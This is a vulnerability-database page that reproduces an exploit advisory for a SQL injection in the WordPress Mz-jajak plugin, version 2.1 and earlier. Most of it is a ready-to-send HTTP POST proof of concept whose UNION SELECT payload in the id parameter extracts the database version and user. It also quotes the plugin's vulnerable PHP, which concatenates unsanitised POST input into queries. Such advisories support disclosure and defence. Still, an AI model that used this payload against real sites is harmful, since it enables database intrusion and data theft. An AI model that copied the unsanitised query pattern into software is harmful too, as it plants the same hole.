Lucene search
K

WordPress Mz-jajak plugin <= 2.1 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

WordPress Mz-jajak plugin <= 2.1 SQL Injection Vulnerability. SQL injection vulnerability in WordPress Mz-jajak plugin version 2.1 allows remote attackers to execute arbitrary SQL commands via the id parameter in an index.php formvote action

Code

                                                # Exploit Title: WordPress Mz-jajak plugin &#60;= 2.1 SQL Injection Vulnerability
# Date: 2012-08-10
# Author: StRoNiX
# E-mail: [email protected]
# Software Link: http://downloads.wordpress.org/plugin/mz-jajak.zip
# Version: 2.1 (tested)


---------------
PoC (POST data)
---------------
POST /index.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/?page_id=9
Connection: Keep-Alive
Content-Length: 111
Content-Type: application/x-www-form-urlencoded

answer=1&formvote=Y&id=1 AND 1=0 UNION ALL SELECT 1,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15--+&x=10&y=12


---------------
Vulnerable code
---------------
$id=$_POST[&#39;id&#39;];    
...
$query = $wpdb-&#62;query(&#34;UPDATE &#34; . $table_name . &#34; SET &#34;.$answert.&#34;=&#34;.$answert.&#34;+1 WHERE id=&#34;.$id);
                }
                $rows = $wpdb-&#62;get_results(&#34;SELECT * FROM &#34; . $table_name . &#34; WHERE id=&#34;.$id);



###########################################################
Greetz: T0r3x, m1l05, JuMp-Er, EsC, UNICORN, Xermes, s4r4d0

----------------------------snip--------------------------------------

Thanks,
~StRoNiX

 		 	   		  
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation